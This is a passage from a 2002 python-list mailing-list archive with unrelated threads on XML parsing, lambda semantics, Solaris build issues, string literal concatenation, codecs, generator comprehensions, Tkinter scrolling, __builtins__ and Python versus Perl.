non-english characters with their UNICODE encodings and parsing the (xml) string. How do I do that? I used to get a DOM by means of: ------------- #from xml.dom.ext.reader.Sax import FromXmlStream from xml.dom.ext.reader.Sax import FromXmlFile from xml.dom.ext import PrettyPrint doc = FromXmlFile(xmlFN) ------------- Now I need the following, or the equivalent from another package: from xml.dom.ext.reader.Sax import FromXmlString Or maybe there is another better way of achieving the same goal? I would appreciate if you could help me out. Thanks, Catalin <<<< ================================== >>>> << We are what we repeatedly do. >> << Excellence, therefore, is not an act >> << but a habit. >> <<<< ================================== >>>> From aleax at aleax.it Thu May 2 17:05:45 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 02 May 2002 21:05:45 GMT Subject: Theoretical question about Lambda References: <3CD0DCD6.4050403@vip.fi> <Qh7A8.38334$8D3.1129579@news1.tin.it> <aarp35$6rf$0@216.39.172.122> <vgeA8.40079$8D3.1169254@news1.tin.it> <aas5uv$v1e$0@216.39.172.122> Message-ID: <JShA8.40793$8D3.1193018@news1.tin.it> Bengt Richter wrote: ... >>if doitoneway: >> def foo(): return whatever >>else: >> def foo(): return somethingelse >> > What if doitoneway varies during expression evaluation involving foo, > and whatever and somethingelse involve function calls with side effects? What possible difference does this make? This if/else has exactly the same semantics as the and/or/lambda construct somebody else posted in response -- whatever doitoneway, whatever, AND somethingelse want to do about it. I don't really understand what you mean -- can you give some simple artificial example where you think lambdas would have different semantics than defs? > Would you pass all the unevaluated pieces to an outside function? I'm sure > it would be cleaner sometimes, but I'm not sure about all the time. > C'mon, you can argue both sides ;-) I can't argue that lambda lets you do anything substantial that def doesn't -- there would be just no basis to substain such an argument. I'm curious to see what you think there might be. > ISTM a real ternary or cond expression would be a good addition to Python. Sure, and why not add assignment-in-expression, typed variable declarations, and block delimiters, as long as we're at it. Alex From aleax at aleax.it Mon May 13 06:04:50 2002 From: aleax at aleax.it (Alex Martelli) Date: Mon, 13 May 2002 10:04:50 GMT Subject: which db should I use? References: <mtanba.i1f.ln@127.0.0.1> <3CDF3C5D.78B73EE0@engcorp.com> <hlonba.f4l.ln@127.0.0.1> Message-ID: <6dMD8.51046$zW3.689552@news1.tin.it> Jim Richardson wrote: ... >> Why not just store them as files in the file system? > > searches are really slow with grep, on an ext3 filesystem. I wouldn't > mind a file based system, but will probably go with a db system in order > to learn more about SQL grep and SQL have little in common. You can use regular expressions in PostgreSQL, but that's a definitely *non-standard* extension to SQL! Besides, I doubt performance would be dramatically enhances as long as your searches are RE-based anyway, as they'd have to scan everything in any case, no matter where you store the "everything". You could build a fulltext-index for your data -- THAT can give you huge performance advantages, and if the index is large enough then it may well be worthwhile to keep *the index* as a relational database. However, try first the classic two-scripts, 20-lines Python approach with module shelve as the residence of your index, so you can work out the kinks, find out limitations, etc, in a friendlier and more plastic environment. I'm pretty sure you can find good examples of that approach everywhere, though a good one is in my Linux Magazine article, April issue (thus not online yet, I think). Alex From shagshag13 at yahoo.fr Fri May 31 13:52:03 2002 From: shagshag13 at yahoo.fr (Shagshag13) Date: Fri, 31 May 2002 19:52:03 +0200 Subject: OverflowError: math range error ??? References: <ad8bkk$va3sb$1@ID-146704.news.dfncis.de> Message-ID: <ad8d7k$v8m1s$1@ID-146704.news.dfncis.de> What are "the known limits" of math modules ? Where can i find more infos on this ? Thanks, s13. From dryose at juno.com Tue May 21 16:20:53 2002 From: dryose at juno.com (yose) Date: 21 May 2002 13:20:53 -0700 Subject: _socket on solaris References: <aao9gl$km3$1@news.iucc.ac.il> <XcOz8.4556$p56.1048027@newsb.telia.net> <86elgvmsvz.fsf@buxtech.com> <aarpc9$1jb4$1@nntp6.u.washington.edu> Message-ID: <79d1869.0205211220.3787a974@posting.google.com> "Donn Cave" <donn at u.washington.edu> wrote in message news:<aarpc9$1jb4$1 at nntp6.u.washington.edu>... > Quoth Phil Eschallier <phil at buxtech.com>: > ... > | I wanted to follow-up noting that the build process for Python under > | Solaris is less than perfect. I've experienced this same _socket > | module not being found and "yes", the build is broken. > | > | The root of the issue is that the distutils used for compiling > | determine the libs needed and add the -I / -L as needed. But no -R > | options are added. My problem came from the fact that I have OpenSSL > | deployed under /usr/local/ssl ... and the build process adds the -L to > | find ssl.so and crypt.so ... but the resulting _socket.so does not > | have the runtime path to the OpenSSL libs, the test load of _socket.so > | fails, and it is removed from the build. The same holds for TK > | support and one or two others. > | > | Under Linux this is a non-issues as ldconfig is available. > | > | My work-around for now is to add all the -L / -R directives I need to > | the CC environment variable before running the initial 'configure' > | script (because only hte CC and LDSHARED variables are passed from > | Makefile to setyp.py). > | > | I hope this helps ... and I hope that Python becomes more Solaris > | friendly as it matures. > > You might submit a bug report for this. It sounds to me like more > than strictly a Solaris problem - I would expect to see it on Digital > UNIX, for example, and surely others. > > In my experience with Digital UNIX, if I make a xyzmodule.so that > depends on libxy.so, I have to build python so that it can find > libxy.so (-rpath or whatever) before it can import xyz. Which is > kind of unfortunate, it would be nice to be able to build a module > and just run it, without needing to rebuild python. > > Donn Cave, donn at u.washington.edu How do I find the fix for this, if there is one? From jon+usenet at unequivocal.co.uk Tue May 7 19:44:57 2002 From: jon+usenet at unequivocal.co.uk (Jon Ribbens) Date: Tue, 07 May 2002 23:44:57 -0000 Subject: taglibs equivalent in Python References: <mailman.1020806951.29084.python-list@python.org> Message-ID: <slrnadgpnp.39e.jon+usenet@snowy.squish.net> In article <mailman.1020806951.29084.python-list at python.org>, Sean 'Shaleh' Perry wrote: >> Taglibs themselves run in a JSP server which is basically a Java runtime >> plugged in to Apache, which also understands taglibs and JSP specific stuff. >> The closest thing to a JSP server in Python appears to be Zope (I am kinda >> new to Python) >> > > if you want jsp/asp/php like functionality via python Zope is pretty much your > only choice. Um, that's complete rubbish. There are *many* different choices. See http://www.boddie.org.uk/python/web_frameworks.html for a partial listing. From jodoin at cpsc.ucalgary.ca Thu May 30 17:10:45 2002 From: jodoin at cpsc.ucalgary.ca (jodoin) Date: Thu, 30 May 2002 15:10:45 -0600 Subject: semi-concatenated strings References: <ad5vp6$17kc@drn.newsguy.com> Message-ID: <3CF69555.87453E98@cpsc.ucalgary.ca> Actually this is not an error in the Parser. It is well documented that you can do this. In the grammar rules a string can imediately follow another string. This rule is specified so that you will not have to use as many backslashes. For more information see the Python Language Specification in section 2.4.2 String Literal concatenation Cheers, Grant Griffin wrote: > Hi Gang, > > I discovered today that strings can sometimes be concatenated without using a > "+": > > ActivePython 2.2.1 Build 222 (ActiveState Corp.) based on > Python 2.2.1 (#34, Apr 15 2002, 09:51:39) [MSC 32 bit (Intel)] on win32 > Type "help", "copyright", "credits" or "license" for more information. > >>> a = 'one' ' plus ' 'two' > >>> a > 'one plus two' > > I discovered this, of course, while making a mistake like this: > > >>> a = ['zero', 'one' > ... 'two', 'three'] > >>> a > ['zero', 'onetwo', 'three'] > > (Note the missing comma after 'one'.) > > Is there some grand purpose here, or is this just a bug in the parser? > > errors-should-never-pass-silent-ly y'rs, > > =g2 -- Georges Jodoin jodoin at cpsc.ucalgary.ca -------------- next part -------------- An HTML attachment was scrubbed... URL: <http://mail.python.org/pipermail/python-list/attachments/20020530/84132780/attachment.html> From eppstein at ics.uci.edu Fri May 10 10:28:12 2002 From: eppstein at ics.uci.edu (David Eppstein) Date: Fri, 10 May 2002 07:28:12 -0700 Subject: Is there such a thing as an ordered dict? References: <mailman.1021005617.15448.python-list@python.org> <m3offobj2w.fsf@mira.informatik.hu-berlin.de> Message-ID: <eppstein-FCE825.07281210052002@news.service.uci.edu> In article <m3offobj2w.fsf at mira.informatik.hu-berlin.de>, martin at v.loewis.de (Martin v. Loewis) wrote: > Ask Google: > > http://www.google.de/search?q=Python+ordered+dictionary > > The first hit gives > > http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/107747 This orders the dictionary entries by their keys. If you want to order entries by their values, my recipe http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/117228 may be appropriate. -- David Eppstein UC Irvine Dept. of Information & Computer Science eppstein at ics.uci.edu http://www.ics.uci.edu/~eppstein/ From dradul at yahoo.com Thu May 23 15:22:45 2002 From: dradul at yahoo.com (P. Alejandro Lopez-Valencia) Date: Thu, 23 May 2002 14:22:45 -0500 Subject: encoding problem CP850 to ISO_8859_9 References: <625H8.29184$48.2236753@zwoll1.home.nl> <aciv97$q500t$1@ID-99513.news.dfncis.de> <Dk7H8.30288$48.2266391@zwoll1.home.nl> Message-ID: <acjg0s$qknbb$1@ID-99513.news.dfncis.de> "v.wehren" <v.wehren at home.nl> escribi? en el mensaje news:Dk7H8.30288$48.2266391 at zwoll1.home.nl... > My brain must habe been switched off or something... > Muchos gracias for switching it back on... > > > (Just for the record: the supposed "missing" characters are apart from in > latin1also available in iso_8859_15) > Yes, you are right. I forgot to mention that ISO-8859-15 is a patched version of ISO-8859-1 that includes the Euro currency sign instead of the old currency sign and other extra characters used in not-so-central-european languages[1] replacing such characters as brokenbar, most accent characters and the fraction symbols. The reference sites for the glyph tables are http://www.unicode.org/ in the vendor encoding equivalence tables section, http://www.czyborra.com/ and the website for the Titus project (a repository for classic western languages and the Titus Cyberbit font. I don't have the URI for the latter anywhere close right now). [1] The differences are: 38,48c31 < decoding_map = codecs.make_identity_dict(range(256)) < decoding_map.update({ < 0x00a4: 0x20ac, # EURO SIGN < 0x00a6: 0x0160, # LATIN CAPITAL LETTER S WITH CARON < 0x00a8: 0x0161, # LATIN SMALL LETTER S WITH CARON < 0x00b4: 0x017d, # LATIN CAPITAL LETTER Z WITH CARON < 0x00b8: 0x017e, # LATIN SMALL LETTER Z WITH CARON < 0x00bc: 0x0152, # LATIN CAPITAL LIGATURE OE < 0x00bd: 0x0153, # LATIN SMALL LIGATURE OE < 0x00be: 0x0178, # LATIN CAPITAL LETTER Y WITH DIAERESIS < }) From oren-py-l at hishome.net Tue May 14 04:09:53 2002 From: oren-py-l at hishome.net (Oren Tirosh) Date: Tue, 14 May 2002 04:09:53 -0400 Subject: generated comprehensions In-Reply-To: <4c877253.0205132231.6d286d0b@posting.google.com> References: <4c877253.0205132231.6d286d0b@posting.google.com> Message-ID: <20020514080953.GA77871@hishome.net> On Mon, May 13, 2002 at 11:31:10PM -0700, Garth T Kidd wrote: > Has anyone tried to figure out a generator variant on list > comprehensions? Should all list comprehensions return generators? PEP 289 by Raymond Hettinger. http://www.python.org/peps/pep-0289.html """ Specification for Generator Comprehensions : If a list comprehension starts with a 'yield' keyword, then express the comprehension with a generator. For example: g = [yield (len(line),line) for line in file if len(line)>5] ... BDFL Pronouncements Generator comprehensions are REJECTED. The rationale is that the benefits are marginal since generators can already be coded directly and the costs are high because implementation and maintenance require major efforts with the parser. """ RTFP'ly yours Oren From martin at v.loewis.de Sat May 25 21:22:34 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 26 May 2002 03:22:34 +0200 Subject: Backwards emulation rather than backwards compatibility? References: <3CEF8E04.6040909@ix.netcom.com> <m3it5cp8hj.fsf@mira.informatik.hu-berlin.de> <uf06o3f6tu8ud3@news.supernews.com> Message-ID: <m33cwfr9d1.fsf@mira.informatik.hu-berlin.de> "John Roth" <johnroth at ameritech.net> writes: > > > Could the python interpreter be equipped with a mode that would > > > allow it to emulate past interpreters? > > No, that won't be possible. It is easy enough to install multiple > > versions of the interpreter, though. > Oh, come on now. Anything is possible, the question is whether it is > worth doing and (this being a volunteer effort) whether anyone wants > to do it. To fully emulate a past implementation, you'd have to know *all* it's features. If you fix a bug, you somehow need to be able to preserve the old library behaviour. I see no way to do this, except incorporating old copies of the library. Same for the interpreter itself, so you would also need to include copies of the old interpreter. Doing so woul mean that the directory structure of the library will need to change - such changes are detectable by applications, so full backwards compatibility would not achieved. Likewise, the mere introduction of that "mode" would cause that Python changes its behaviour, and might cause existing applications to break. So if you want "full emulation", I maintain that this is not possible to implement. If you want "partial emulation" - this feature is available today; new versions execute much old code correctly. Regards, Martin From nookieNO_SP_AM at online.no Tue May 14 02:38:37 2002 From: nookieNO_SP_AM at online.no (Erlend J. Leiknes) Date: Tue, 14 May 2002 06:38:37 GMT Subject: How do I check if a pid is running? References: <mailman.1020977838.496.python-list@python.org> Message-ID: <Nh2E8.461$_15.12605@news4.ulv.nextra.no> Is there a cross-platform method for this? (im thinking of windows and unix (screw mac)) "Noah" <noah at noah.org> wrote in message news:mailman.1020977838.496.python-list at python.org... > > If I have the pid to a process under UNIX then how do I get the status of that pid? > Specifically, I would like to see if child is running or not. > If the pid cannot even be found then I will assume that > process is not running. > > Note, that I think waitpid() may do what I want, but I'm not > quite sure of the semantics. I do not want to wait for completion > of a child process, so I probably need WNOHANG option, but that > returns 0 if the status is not immediately available, so presumably > the process could still be running. Therefore a 0 value is ambiguous. > > What do I need to do just to check if the pid even exists or not? > > Yours, > Noah > > From aleax at aleax.it Mon May 6 17:06:03 2002 From: aleax at aleax.it (Alex Martelli) Date: Mon, 06 May 2002 21:06:03 GMT Subject: Python vs. Perl, which is better to learn? References: <mailman.1020147892.13578.python-list@python.org> <91acf731.0205030642.580a9c59@posting.google.com> <kwyA8.694$CN3.28157@news2.tin.it> <91acf731.0205061016.402f3c16@posting.google.com> Message-ID: <%eCB8.11895$CN3.421958@news2.tin.it> Jason Voegele wrote: ... > I presume that your arguments regarding Python's properties also apply > to Ruby's 'attr's? (Not trying to start a rb vs. py thing here, just > trying to understand). Roughly, yes -- Ruby's "attr_accessor :whatever" in class scope basically takes you back to Python's default situation, while 'properties' are more smoothly defined in Ruby. Seems more or less a wash. I believe in Ruby you cannot 'delete' an object's attribute, which Python makes easy (for either a property or a 'real/normal' attribute), but I don't think that's a major issue in most cases. > Yes, this is a very useful feature. The analogous (although not quite > equivalent) technique in Ruby is using Method or Proc objects that > support a "call" method. "Callable" objects in Ruby are those that > have a "call" method, rather than a () operator. The special-method in Python is called __call__; operator () [or builtin function apply] is the way it's invoked (just as special method __add__ is invoked by operator + or function operator.add, etc). That's the normal Python way (as I recall I first met something analogous in Sather, albeit without the __ stropping -- to overload + your class would define a routine called "plus"). > The Ruby approach requires a little more work to get "a reference to > this thingy over here". In Python, you do this by simply naming the > thing (x.foo, as opposed to x.foo()). Ruby's default behavior is to > call the method with that name (x.foo and x.foo() are the same thing). > To get foo as an object, you must ask for it: x.method(:foo). Thus, > x.method(:foo).call is a round-about way of saying x.foo(). Not quite as uniform and smooth as Python's access to x's methods and attributes, although presumably more or less equivalent in the end. It IS somewhat amazing how often Ruby and Python reach roughly equivalent positions starting from polar-opposite approaches:-). > Personally, I like the Eiffel mechanism the best (read only > attributes, no parens for empty method calls, selective export, etc.). It's another respectable set of tradeoffs, sure. IMHO it makes the language too complicated for what it buys you, but admittedly I've never written substantial amounts of "production" code in Eiffel, so my evaluation is not based on direct experience. Alex From johahn at delta.telenordia.se Sun May 19 04:48:48 2002 From: johahn at delta.telenordia.se (Johan Hahn) Date: Sun, 19 May 2002 10:48:48 +0200 Subject: extending w/o creating a new module?? Message-ID: <ac7osk$h9u$1@green.tninet.se> Hi Is there a more dynamic way of binding functions in python to C than to create a PyMethodDef and use it when creating a new module with PyInit_InitModule ??. I would like to add the function send(text) to an existing python module (b4.py) and have that function call the C function: static PyObject* sendc(PyObject* self, PyObject* args) { /*...*/ } My attempts so far are failing because I can't create a PyFunction object that I can pass to PyObject_SetAttrString(b4, "send", ?) as the last argument. There is no documentation for PyFuntion_New and as I understand it takes a code object. And to create a code object that binds to a c-function seemed like a dead end. Am I missing something? thanks...johahn From alexis at mobiliant.com Mon May 13 12:32:30 2002 From: alexis at mobiliant.com (Ulf Engström) Date: Mon, 13 May 2002 18:32:30 +0200 Subject: Digest Authentication to Apache Message-ID: <YURD8.5928$Q75.10841@news1.bredband.com> Hello :) I've been trying to connect to an apache server using digest authentication, but with little success. I was wondering if anyone has any experience with this. I've tried to use the urllib2.py classes, but with no luck. I also tried using httplib and calculating the headers myself, but that didn't help much either, I still get 'authentication required'. If anyone has a solution for this and would like to share it, I'd be really thankful. Regards Ulf From max at alcyone.com Sun May 19 17:28:31 2002 From: max at alcyone.com (Erik Max Francis) Date: Sun, 19 May 2002 14:28:31 -0700 Subject: Regular Expressions and RFC 822 References: <mailman.1021842390.22408.python-list@python.org> Message-ID: <3CE818FF.178B15D0@alcyone.com> alex gigh wrote: > Can someone help me by showing me an example of how I could do this... The rfc822 module already exists, and does all the hard work for you. -- Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/ __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE / \ Who'd ever think it / Such a squalid little ending \__/ The American and Florence, _Chess_ Church / http://www.alcyone.com/pyos/church/ A lambda calculus explorer in Python. From rune.hansen at vivenus.no Sat May 18 05:13:21 2002 From: rune.hansen at vivenus.no (Rune Hansen) Date: Sat, 18 May 2002 09:13:21 GMT Subject: Two Tkinter questions References: <MKhF8.27549$AU.39360@sccrnsc02> Message-ID: <RWoF8.2078$_15.56597@news4.ulv.nextra.no> Hello Mike, Q1: To make a grid widget behave like when packed you'll have to use column and row configure. -- label = Label(frame,text="Text") label.grid(row=0,column=0,sticky=N+E+S+W) frame.rowconfigure(0,weight=1) frame.columconfigure(0,weight=1) -- This will make the widget use the maximum vailible space in the frame. Q2: A bit more tricky. I've adaped this code from MCScrolledListBox.py,v 1.3 written by Dough Hellman. (http://sourceforge.net/projects/pmwcontribd/) Helmanns code is much more complete, but I also does some stuff i didn't want(like list headers and the selection spanning the lists). My example is rather verbose, I found it easier than to strip my code.. -- #Scrolled lists [class definition] # Initialize a list for "list" self.lists=[] #Create the scrollbar self.scrollbar = Scrollbar(self.frame, orient=VERTICAL) #Create three lists self.list1 = Listbox(self.frame, bd=0, highlightcolor="white", highlightthickness=0, fg="red", bg="white", width=5, yscrollcommand=self._yset ) self.lists.append(self.list1) self.list2 = Listbox(self.frame, bd=0, highlightcolor="white", highlightthickness=0, fg="#9CC6CD", bg="white", width=1, yscrollcommand=self._yset ) self.lists.append(self.list2) self.list3 = Listbox(self.frame, bd=0, highlightcolor="white", highlightthickness=0, fg="black", bg="white", yscrollcommand=self._yset ) self.lists.append(self.list3) # Bind selection command to list3. self.list3.bind("<ButtonRelease-1>",self.selectHandler) self.list3.bind("<Key-space>",self.self.selectHandler) self.list3.bind("<Key-Return>",self.selectHandler) # Configure scrollbar self.scrollbar.config(command=self._yview) # Grid the lists and scrollbar self.list1.grid(row=0,column=0,sticky=W) self.list2.grid(row=0,column=1,sticky=W) self.list3.grid(row=0,column=2,sticky=N+E+S+W) self.scrollbar.grid(row=0,column=3,sticky=N+S) # Make list3 expand the amount of availible space in the frame self.frame.rowconfigure(0, weight = 1) self.frame.columnconfigure(2, weight = 1) . . . def selectHandler(self): # ... pass # These functions are unchanged from Hellmans example def _yset(self, *args): #print '_yset', args apply(self.scrollbar.set, args) for lb in self.lists: lb.yview_moveto(args[0]) return def _yview(self, *args): for lb in self.lists: apply(lb.yview, args) return -- This will make the lists scroll in unison even when using the mousewheel :-) With a bit focus() tinkering this also works on Windows. regards /rune Mike Callahan wrote: > Question #1 > > I want a text widget to completely fill its space. I can do this in > tkinter using the pack geometery manager: > text.pack(fill='both', expand=1) > If I resize the window, the the text widget continues to fill the window, > however if I use grid: > text.grid(sticky='nsew') > the text widget stays the same size if I make the window larger. Can't > grid do the same thing that pack can do? > > Question #2 > > I want to make a horizontal scroll bar scroll two text widgets at the same > time. I know how to connect a scrollbar to a text widget, but is there a > way to connect one scrollbar to two widgets? > > Thanks, > Mike Callahan From logiplexsoftware at earthlink.net Thu May 16 12:35:30 2002 From: logiplexsoftware at earthlink.net (Cliff Wells) Date: Thu, 16 May 2002 09:35:30 -0700 Subject: OT: Crazy Programming In-Reply-To: <9jv5euoog2mdufk8k81e018to90odk57vm@4ax.com> References: <BC74F8F7E87DD511990C000103E2FEFA3042@XCHG> <mailman.1021501529.15020.python-list@python.org> <9jv5euoog2mdufk8k81e018to90odk57vm@4ax.com> Message-ID: <20020516093530.5a4ffa0b.logiplexsoftware@earthlink.net> On Thu, 16 May 2002 01:38:04 +0100 Gon?alo Rodrigues wrote: > On Wed, 15 May 2002 15:24:08 -0700, Cliff Wells > <logiplexsoftware at earthlink.net> wrote: > >There can never be an "objective" view of art. It either speaks to you or it > >doesn't, but that is entirely subjective (unless of course you can prove that a > >particular piece speaks to no one). > > There is only one style of music that I believe is universally bad: > Heavy metal and its offsprings. Only when mixed in with other styles and > even then for the thing to function they have to be done by musicians of > the highest calibre and at their best (Young Gods, John Zorn and a few > others). And about the people that like Heavy metal, well, what can I > say? Just look at them banging their heads and spreading their dandruff > for a quarter of a mile ;-) Oh. So _now_ you're saying dandruff isn't art. Haven't you seen "The Breakfast Club"? -- Cliff Wells, Software Engineer Logiplex Corporation (www.logiplex.net) (503) 978-6726 x308 (800) 735-0555 x308 From ELabuschagne at gims.com Fri May 3 04:58:20 2002 From: ELabuschagne at gims.com (Etienne Labuschagne) Date: Fri, 3 May 2002 10:58:20 +0200 Subject: Protocol error when using xmlrpclib with Jython Message-ID: <E1C538E38148D611A3F90040F428459101D041@ESRIMAIL> Hi there, The following problem arises when using Jython and not Python: When I use SimpleXMLRPCServer (which is based on xmlrpclib) I get a ProtocolError when trying to return a string. The error manifests on the client side (not the server). When returning an integer it works fine. This probably means that Python strings gets converted to Java Strings (or ARE Java Strings in Jython?) and that the xmlrpclib does not know how to marshal it. Is there a Jython compatible xmlrpclib module or maybe a patch (it shouldn't be that difficult to fix this). Thanks Etienne -------------- next part -------------- An HTML attachment was scrubbed... URL: <http://mail.python.org/pipermail/python-list/attachments/20020503/d9475f92/attachment.html> From googlegroups at sixtyten.org Sat May 11 13:31:08 2002 From: googlegroups at sixtyten.org (Allan Crooks) Date: 11 May 2002 10:31:08 -0700 Subject: __builtins__ confusion... Message-ID: <304d20df.0205110931.4ccd39@posting.google.com> Hi, I just have a question regarding __builtins__. Rather than ask it outright, I'll just show you what I tried in my interpreter, and then ask the question. Fire up Python... Python 2.2.1 (#34, Apr 9 2002, 19:34:33) [MSC 32 bit (Intel)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> dir() ['__builtins__', '__doc__', '__name__'] >>> type(__builtins__) <type 'module'> >>> __builtins__ <module '__builtin__' (built-in)> So as you can see, __builtins__ is an alias for the __builtin__ module. >>> spam Traceback (most recent call last): File "<stdin>", line 1, in ? NameError: name 'spam' is not defined >>> __builtins__.spam = 5 >>> spam 5 We can change anything in the __builtins__ namespace, and we can reference it directly (i.e. we don't need to qualify the reference to 'spam' by putting '__builtins__' first. Now let's define another module, b2: print type(__builtins__) __builtins__.eggs = 6 Now b2 can join in the namespace fun! >>> import b2 <type 'dict'> Traceback (most recent call last): File "<stdin>", line 1, in ? File "E:\PYTHON\lib\b2.py", line 2, in ? __builtins__.eggs = 6 AttributeError: 'dict' object has no attribute 'eggs' Huh? Why is __builtins__ a dictionary? It's a module when we access it from the interpreter... let's investigate further... >>> dir(b2) Traceback (most recent call last): File "<stdin>", line 1, in ? NameError: name 'b2' is not defined D'oh! Of course. Let's comment out both lines in b2, so it doesn't do anything. >>> import b2 >>> dir(b2) ['__builtins__', '__doc__', '__file__', '__name__'] >>> type(b2.__builtins__) <type 'dict'> >>> b2.__builtins__['spam'] 5 Hmm... so __builtins__ in b2 is the same thing as we defined in the interpreter (as it has a value for 'spam'), but it's a dictionary instead of a module. This seems such a strange thing to me, can anyone explain why the value of __builtins__ differs? Allan. From phr-n2002a at nightsong.com Sun May 12 14:28:31 2002 From: phr-n2002a at nightsong.com (Paul Rubin) Date: 12 May 2002 11:28:31 -0700 Subject: Rationals and Linear Programming in Python References: <mailman.1021222404.4103.python-list@python.org> Message-ID: <7x661txltc.fsf@ruckus.brouhaha.com> gmpy supports rationals. Just say q = gmpy.mpq(1) to initialize q to 1/1. Any arithmetic you do on it after that (except with floating point operands) will give rational results. From chrisl_ak at hotmail.com Fri May 10 18:19:27 2002 From: chrisl_ak at hotmail.com (Chris) Date: Fri, 10 May 2002 22:19:27 -0000 Subject: Python stagnating? References: <b62b39cb.0205090942.19eb2bfe@posting.google.com> <Xns9209AFA7A5F07chrislak@209.249.90.101> <abgqj3$r8v$1@panix2.panix.com> <UhSC8.59790$m26.39465@atlpnn01.usenetserver.com> <4C4017F2A8374833.8EC9AA6CCB3866FB.604DBC914D15FCEF@lp.airnews.net> Message-ID: <Xns920A919DEAA0Echrislak@209.249.90.101> 1) My experience with the PHP docs is that the user comments are, by and large, quite useful. You always have the option not to view them by viewing one of the standard HTML versions similar to the Python docs. Wikis are cool (I use the emacs wiki occasionally), but I would prefer manual pages linked to a wiki rather than the other way. Still, it is quite common for the user comments, which generally explain how to do X or a more efficient way to do Y, to answer a question more readily than the docs! 2) The navigation withing the PHP docs is better because you can get at more from one page-- if I am looking at one file function, for instance, all the rest of the file functions are immediately available. Rather than up/up/find and link/back up/etc. 3) The URL trick is a nice little move that makes for an easy shortcut to search. 4) PDF docs are not everyone's cup of tea, but they are nice as a reference and a smart system generates all of these things from the same source automatically anyway, so why not offer more than just what you or I like? In all honesty, #2 is the most important for me, particularly as a beginner. The Linuxdoc/LaTeX2HTML style is great when there is nothing better available, but the "many many files, all of which have no links other than left/right/up" method is not the most productive for many applications. Anyway, all this conversation makes it sound much more important than it really is. I'll be buying a couple of books and using a few online tutorials anyway. The most important point is that Python development is not stagnating, my perspective was just skewed from a few broken links and references to software (bobo, anyone?) that appears to no longer exist and obsolete resources. Tough crowd here :) From peter at engcorp.com Mon May 6 01:00:53 2002 From: peter at engcorp.com (Peter Hansen) Date: Mon, 06 May 2002 01:00:53 -0400 Subject: Python vs. Perl, which is better to learn? References: <df30afd4.0204292111.31e5914a@posting.google.com> <chris-4E0B1A.01281230042002@corp.supernews.com> <f0fd5987.0204300105.51529004@posting.google.com> <chris-FA912A.00104606052002@corp.supernews.com> Message-ID: <3CD60E05.D9D8C1A6@engcorp.com> Chris wrote: > > In article <f0fd5987.0204300105.51529004 at posting.google.com>, > gtaylor at lowebroadway.com (Garry Taylor) wrote: > > > I use Perl at work day in day out, and use Python for my own personal > > stuff, I would say that Python is better for pretty much everything, > > particularly larger programs, where it's more structured syntax makes > > code easier to read. I quite like Perl for CGI scripting, and little > > 1-page scripts, but would never contemplate using it for a big > > project. > > I would have agreed a few months ago. However, once you understand how > to write modules in Perl, and how Perl's take on OO works, it becomes > much easier to create large projects. It's not understanding how to write the modules that matters: it's understanding how to read them. Perl is relatively unreadable, whereas Python is eminently readable. Any company investing a large amount in large Perl applications is just asking for trouble, although their employees will have excellent job security for as long as the company can survive... -Peter From aleax at aleax.it Thu May 2 17:34:35 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 02 May 2002 21:34:35 GMT Subject: Newbie: finding the key/index of the min/max element References: <200204301620.00255.bhan@andrew.cmu.edu> <Pine.SOL.4.30.0205022048530.17672-100000@mimosa.csv.warwick.ac.uk> <XthA8.40723$8D3.1190011@news1.tin.it> <eppstein-802A73.13475102052002@news.service.uci.edu> Message-ID: <LhiA8.40883$8D3.1196292@news1.tin.it> David Eppstein wrote: ... > For instance, a loop append()ing items to a list turns out to take > constant average-time per append, in C-python, but one might imagine an > implementation (like Java Vectors with a nonzero capacityIncrement) > where the time per append grows linearly in the length of the vector. Sure -- indeed, .append has amortized constant time characteristics only in pretty recent Python releases (in practice one didn't notice, but in theory amortized time didn't get quite linear until shortly ago). > And other very similar operations, like inserting to the front of the > list, take linear rather than constant time, but one could imagine > implementations where that is not true. Again, true. I believe C++'s standard library (and the STL it comes from) is rather unique in being an abstract specification that does include big-O performance constraints. > Also, in Python, there is a big performance gap between built-ins (or > precompiled C functions in general) and interpreted code, which may > override big-O considerations: e.g. if you want to find the median of a > list, I'm pretty sure it would usually be better just to sort the list > and return the middle item, instead of using a linear-time median > finding algorithm, despite the nonlinear big-O time of a sort. No doubt -- for small-enough N. Just as doublessly, there will be an N above which the O(N) algorithm is preferable. When you write performance-sensitive code for such tasks, measuring is really the only way to select the thresholds at which to switch or otherwise tune your algorithms. Alex From grahamdo at attcanada.ca Mon May 27 21:50:37 2002 From: grahamdo at attcanada.ca (Graham Dobson) Date: Mon, 27 May 2002 21:50:37 -0400 Subject: fonts in idle References: <iUyI8.99502$Ze.15252@afrodite.telenet-ops.be> Message-ID: <EjBI8.1580$H67.9064@tor-nn1.netcom.ca> You can change the fonts for idle on windows in the config-win.txt file located in C:\Python22\Tools\idle "pakman" <pakman4321 at hotmail.com> wrote in message news:iUyI8.99502$Ze.15252 at afrodite.telenet-ops.be... > i use the idle-environment to experiment with python, but the fonts are > ugly. I work on a redhat 7.3 distro, installed it on a desktop and a laptop > (ibm-iSeries 1400). I don't have the problem on the desktop machine, > although i installed from the same cdroms. What can i do? > > tx > From larooy at xtar.co.nz Fri May 10 21:52:48 2002 From: larooy at xtar.co.nz (John La Rooy) Date: Sat, 11 May 2002 13:52:48 +1200 Subject: "a better input" References: <mailman.1020965478.24132.python-list@python.org> <100520021026067657%pecora@anvil.nrl.navy.mil> <abgnek$uho$1@slb6.atl.mindspring.net> Message-ID: <20020511135248.4b3a192e.larooy@xtar.co.nz> Speaking of which, does this make *sense* ? >>> l=[] >>> l+=(1,2) >>> l=l+(3,4) Traceback (most recent call last): File "<stdin>", line 1, in ? TypeError: can only concatenate list (not "tuple") to list John On Fri, 10 May 2002 09:00:26 -0600 "Andrew Dalke" <dalke at dalkescientific.com> wrote: > Me: > >> I suppose you're also going to tell me that > >> [].append(1,2) no longer works? > > Louis M. Pecora: > >This is a joke, right? :-) ? :-| ? :-( ? > > It's a joke in that I know it changed and that I know that > feature was deprecated something like 8-10 years ago and that > it was not documented as valid. Were I still using 1.5.2 it > would work, but the likelihood of someone using that feature > in pre-2.0 and realizing it might have been changed in newer > releases without knowing it explicitly from reading the change > log is, I think, quite small. > > As such, this limp joke was meant for 